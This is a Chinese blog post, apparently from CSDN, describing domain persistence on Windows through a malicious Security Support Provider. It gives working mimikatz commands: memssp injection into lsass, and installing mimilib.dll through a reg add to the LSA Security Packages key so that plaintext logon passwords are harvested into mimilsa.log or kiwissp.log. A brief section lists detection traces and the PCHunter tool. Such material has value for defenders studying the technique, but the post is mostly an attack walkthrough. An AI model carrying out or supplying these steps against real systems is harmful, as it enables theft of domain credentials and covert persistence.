【域权限维持】-Custom SSP

文章详细介绍了LSA和SSP在Windows安全中的作用,以及攻击者如何利用mimikatz工具通过memssp和mimilib.dll方法在系统中注入恶意代码,获取lsass.exe进程中的明文密码,实现持久化攻击。PCHunter可用于检测这类攻击,而攻击活动会留下如mimilsa.log和kiwissp.log的日志文件痕迹。
摘要由CSDN通过智能技术生成

PCHunter下载地址:
新版:https://www.anxinsec.com/view/antirootkit/
旧版:http://www.xuetr.com/【仅在旧版Windows机器上可用,新版Windows10不支持】

攻击描述

LSA (Local Security Authority)用于身份验证; lsass.exe 作为Windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP 将被加载到lsass.exe进程中。假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码,即使用户更改密码,只要重新登录,攻击者依然可以获取该账号的新密码。

1、SSP介绍

SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说,SSP是个DLL文件,主要用来实现Windows操作系统的身份认证功能,例如NTLM、Ketberos,Negotiare. Seure Channe (Schannel )、Digest、Credental ( CredSSP )。 SSPI ( Security Support Provider Interfce.安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。

NTLMSSP (msv1_0.dll)
Kerberos (kerberos.dll)
NegotiateSSP (secur32.dll)
Secure Channel (schannel.dll)
TLS/SSL
Digest SSP (wdigest.dll)
CredSSP (credssp.dll)
DPA(Distributed Password Authentication) (msapsspc.dll)
Public Key Cryptography User-to-User (PKU2U, pku2u.dll)

如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作

2、攻击方式

第一种:memssp【需锁屏:rundll32.exe user32.dll,LockWorkStation】
通过往lsass进程注入代码来加载msv1_0.dll中的SpAcceptCredentials函数,该攻击不会在系统中留下二进制文件。但如果机器重启,被注入的代码就会失效。该攻击会在系统登录过程中将获取的明文密码存储在日志文件:C:\Windows\System32\mimilsa.log中

mimikatz.exe "privilege::debug" "misc::memssp" exit

在这里插入图片描述

注销账户重新登录,在C:\Windows\System32 查看是否有mimilsa.log文件
在这里插入图片描述

工具查看【PCHunter】
在这里插入图片描述

第二种:mimikatz中的mimilib.dll【需系统重启】
该dll有个SpLsaModeInitialize导出函数,lsass会使用该函数来初始化包含多个回调函数的一个结构体,其中回调函数SpAcceptCredentials用来接收LSA传递的明文凭据,以便SSP缓存,mimikatz利用AddSecurityPackage这个API来加载SSP,这样可以在不重启的情况下添加Mimilib。当添加成功后,我们发现每次进行身份认证时,凭据信息都会被写入kiwissp.log文件中

将mimilib.dll复制到域控c:\windows\system32(放入该路径下是为了直接加载,而不用指定dll文件的路径)
在注册表:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages下添加mimilib.dll之后只要触发了身份认证就会记录登录的密码

该注册表项默认值为 “”
在这里插入图片描述

reg query HKLM\System\CurrentControlSet\Control\Lsa /v "Security Packages"

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib.dll" /t REG_MULTI_SZ

#注:该注册表值仅写入mimilib.dll也是可以的
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib.dll" /t REG_MULTI_SZ

在这里插入图片描述
在这里插入图片描述

域控重启之后,在C:\Windows\System32路径下存在一个新的日志文件,Kiwissp.log,其中保存着明文密码
在这里插入图片描述

特征:文件说明、文件版权信息
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

3、日志特征

Windows Event 4622[需开启收集日志才会有]
文件创建:mimilsa.log、kiwissp.log
注册表修改:HKLM\System\CurrentControlSet\Control\Lsa\Security Packages

在这里插入图片描述
注:此文章参考了很多的网络上的其他文章!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值